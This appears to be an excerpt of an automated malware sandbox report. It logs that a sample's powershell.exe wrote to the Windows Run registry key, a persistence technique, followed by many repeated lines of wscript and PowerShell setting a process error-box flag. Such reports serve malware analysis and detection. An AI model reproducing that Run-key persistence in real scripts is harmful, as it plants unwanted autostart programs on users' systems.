Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
